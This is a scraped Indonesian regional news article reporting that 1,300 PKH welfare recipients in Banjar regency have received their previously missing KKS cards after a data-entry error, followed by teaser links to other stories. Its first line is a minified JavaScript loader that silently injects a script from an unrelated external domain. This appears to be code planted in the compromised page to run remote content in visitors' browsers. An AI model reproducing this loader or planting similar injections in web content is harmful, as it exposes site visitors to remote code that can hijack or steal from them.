(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Sebanyak 1.300 Keluarga Penerima Manfaat (KPM) Program Keluarga Harapan (PKH) yang sebelumnya tidak mendapatkan Kartu Keluarga Sejahtera (KKS), kini sudah tertangani. Hal ini disampaikan Kabid Perlindungan Jaminan Sosial, Dinas Sosial Kabupaten Banjar, Adi Kesuma Wijaya, Jumat (7/9). Pada pembagian PKH tahap tiga akan datang, seluruh KPM sudah memiliki kartu KKS.
Sebelumnya 1.300 KPM tersebut tak mendapatkan KKS karena adanya human error dalam pemasukan data. Mengingat sedikit saja penulisan nama atau tempat alamat yang tidak sesuai maka tidak bisa terbaca oleh sistem.
“Memang kemarin itu ada warga kami yang belum menerima kartu. Saat ini itu sudah diselesaikan. Alhamdulillah sudah dikirimkan langsung dari yang menangani yakni Bank BRI,†katanya.
Ia pun mengatakan pada beberapa lokasi yang jarak tempuh jauh dan tidak ada jaringan, maka pihak bank menjemput bola untuk menyerahkan dana PKH yang dicairkan melalui Bank BRI. Di antaranya pada wilayah Paramasan, Kabupaten Banjar.
Adi mengatakan, kendala yang dihadapi saat ini juga merupakan permasalahan pada sejumlah kabupaten. Namun khusus Kabupaten Banjar, kendala kurangnya kartu tersebut sudah ditangani.
Sebelumnya, disebutkan banyak KPM dalam PKH belum mendapatkan KKS karena sejumlah alasan. Mulai belum memiliki kartu, hingga ada yang memiliki kartu namun tidak ada saldo. Sebab sebagaimana diketahui, kartu KKS untuk PKH sekaligus kartu debit dari bank penyedia yang telah bekerjasama dengan pemerintah pusat.
Adi pun sudah melaporkan hal tersebut ke kementrian sosial. Sebagaimana diketahui oleh Adi, kendala yang menimpa Kabupaten Banjar kali ini juga dialami oleh kabupaten lain. Ia mengatakan beberapa daerah juga mengalami permasalahan serupa. Terlebih PKH merupakan program nasional.
Tentunya, masyarakat yang belum mendapatkan PKH itu pun sudah mengetahui alasan tersebut. Diterangkan olehnya pendamping PKH sudah memberikan pemahaman dan pemberitahuan kenapa uang PKH belum keluar. (rendy)
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
This website uses cookies.